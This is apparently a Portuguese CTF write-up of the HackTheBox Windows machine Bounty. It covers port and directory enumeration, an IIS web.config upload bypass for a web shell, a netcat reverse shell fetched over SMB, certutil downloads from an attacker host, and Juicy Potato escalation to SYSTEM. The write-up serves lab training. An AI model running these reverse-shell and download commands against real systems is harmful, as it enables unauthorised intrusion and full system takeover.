> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md). # Resolução do HackTheBox Bounty {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração de IIS e fuzzing de diretórios * IIS `web.config` bypass de upload e execução de web shell * Shells reversas do Windows via SMB * `SeImpersonatePrivilege` escalonamento com Juicy Potato {% endhint %} ## Reconhecimento Crie um workspace para a máquina.
O TTL de `128` indica que o alvo provavelmente é uma máquina Windows.
### Varredura de portas {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts ``` {% endcode %} Porta `80` está aberta.
Faça uma varredura detalhada do serviço web. {% code overflow="wrap" %} ```bash nmap -sCV -p80 10.129.6.49 -oN targeted ``` {% endcode %} A varredura identifica Microsoft IIS HTTPD 7.5.
A página na porta `80` mostra apenas uma imagem.
### Enumeração de diretórios Faça fuzzing no servidor web em busca de arquivos e diretórios. {% code overflow="wrap" %} ```bash gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r ``` {% endcode %} A varredura revela: * transfer.aspx * `uploadedfiles`
`transfer.aspx` aceita uploads de arquivos.
Um `.aspx` a shell de comando é rejeitada porque sua extensão não é permitida. {% code overflow="wrap" %} ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` {% endcode %}
Procure por `Todas as extensões de arquivo para uma shell reversa do IIS no Windows`. O HackTricks descreve várias extensões relevantes, incluindo `.asp`, `.aspx`, `.config`, e `.php`. {% embed url="" %}
O [Bypass de Upload do web.config do IIS](/pt-br/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) permite execução por meio de `.config` arquivos. #### Execute arquivos .config > Se um aplicativo permite fazer upload de um arquivo .config em um diretório servido, um web.config do IIS pode ser utilizável para execução de código. Uma técnica anexa o payload dentro de um comentário HTML: baixe um exemplo aqui. > > Mais informações e técnicas para explorar essa vulnerabilidade aqui\[2] Crie um `web.config` arquivo com o seguinte conteúdo. {% code overflow="wrap" %} ```bash ``` {% endcode %} O `.config` arquivo enviado com sucesso.
Acesse `/uploadedfiles/web.config` para acessar a web shell. O arquivo é excluído após alguns segundos.
## Acesso inicial Use a web shell para obter uma shell reversa. Coloque um Netcat executável no diretório atual: ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Inicie um servidor SMB para compartilhar o arquivo: ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Configure sua máquina como ouvinte na porta 443: ```bash sudo rlwrap nc -nvlp 443 ```
Execute o comando de shell reversa a partir da WebShell: {% code overflow="wrap" %} ```bash //10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443 http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443 ``` {% endcode %} A shell reversa conecta com sucesso.
Recupere a flag do usuário.
## Escalada de privilégios O usuário atual tem o `SeImpersonatePrivilege` privilégio. {% code overflow="wrap" %} ```bash whoami /priv ``` {% endcode %}
Baixar `JP.exe`. {% embed url="" %} Transfira-o, junto com o Netcat, para a máquina alvo. {% code overflow="wrap" %} ```bash certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe ``` {% endcode %}
Inicie um listener na porta `1234`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 1234 ``` {% endcode %} Execute o Juicy Potato para executar `cmd.exe` como `SYSTEM`. {% code overflow="wrap" %} ```bash .\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234" ``` {% endcode %}
Recupere a flag root.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.